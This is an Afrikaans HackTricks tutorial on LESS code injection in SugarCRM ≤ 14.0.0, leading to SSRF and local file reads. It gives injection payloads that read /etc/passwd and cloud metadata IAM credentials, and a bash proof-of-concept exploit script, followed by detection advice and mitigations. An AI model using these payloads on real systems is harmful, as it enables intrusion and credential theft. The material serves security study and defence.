LESS Code Injection wat lei tot SSRF & Plaaslike Lêer Lees
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
LESS is 'n gewilde CSS voorverwerker wat veranderlikes, mixins, funksies en die kragtige @import
riglyn byvoeg. Tydens kompilasie sal die LESS enjin die hulpbronne wat in @import
verklarings verwys word, opsoek en ("inline") hul inhoud in die resulterende CSS inkorporeer wanneer die (inline)
opsie gebruik word.
Wanneer 'n aansoek gebruikersbeheerde invoer in 'n string saamvoeg wat later deur die LESS kompilator geanaliseer word, kan 'n aanvaller arbitraire LESS kode inspuit. Deur @import (inline)
te misbruik, kan die aanvaller die bediener dwing om te verkry:
- Plaaslike lêers via die
file://
protokol (inligtingsontsluiting / Plaaslike Lêer Insluiting). - Afgeleë hulpbronne op interne netwerke of wolk metadata dienste (SSRF).
Hierdie tegniek is gesien in werklike produkte soos SugarCRM ≤ 14.0.0 (/rest/v10/css/preview
eindpunt).
Exploitatie
- Identifiseer 'n parameter wat direk in 'n stylesheets string wat deur die LESS enjin verwerk word, ingesluit is (bv.
?lm=
in SugarCRM). - Sluit die huidige verklaring en inspuit nuwe riglyne. Die mees algemene primitiewe is:
;
– beëindig die vorige verklaring.}
– sluit die vorige blok (indien nodig).
- Gebruik
@import (inline) '<URL>';
om arbitraire hulpbronne te lees. - Opsioneel, inspuit 'n merk (
data:
URI) na die invoer om die ekstraksie van die verkregen inhoud uit die gecompileerde CSS te vergemaklik.
Plaaslike Lêer Lees
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Die inhoud van /etc/passwd
sal in die HTTP-respons verskyn net voor die @@END@@
merk.
SSRF – Wolk Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
Geoutomatiseerde PoC (SugarCRM voorbeeld)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Detectie
- Soek vir dinamies gegenereerde
.less
of.css
antwoorde wat onsanitized query parameters bevat. - Tydens kode-oorsig, soek vir konstruksies soos
"@media all { .preview { ... ${userInput} ... } }"
wat aan LESS render funksies oorgedra word. - Exploit pogings sluit dikwels
@import
,(inline)
,file://
,http://169.254.169.254
, ens. in.
Mitigasies
- Moet nie onbetroubare data aan die LESS-compiler oorgedra nie.
- As dinamiese waardes benodig word, escape/sanitiseer hulle behoorlik (bv., beperk tot numeriese tokens, whitelists).
- Deaktiveer, wanneer moontlik, die vermoë om
(inline)
imports te gebruik, of beperk toegelate protokolle tothttps
. - Hou afhanklikhede op datum – SugarCRM het hierdie probleem in weergawes 13.0.4 en 14.0.1 reggestel.
Werklike Gevalle
Produk | Kwetsbare Eindpunt | Impak |
---|---|---|
SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Ongeauthentiseerde SSRF & plaaslike lêer lees |
Verwysings
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Kwetsbaarheid
- SugarCRM Sekuriteitsadvies SA-2024-059
- CVE-2024-58258
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.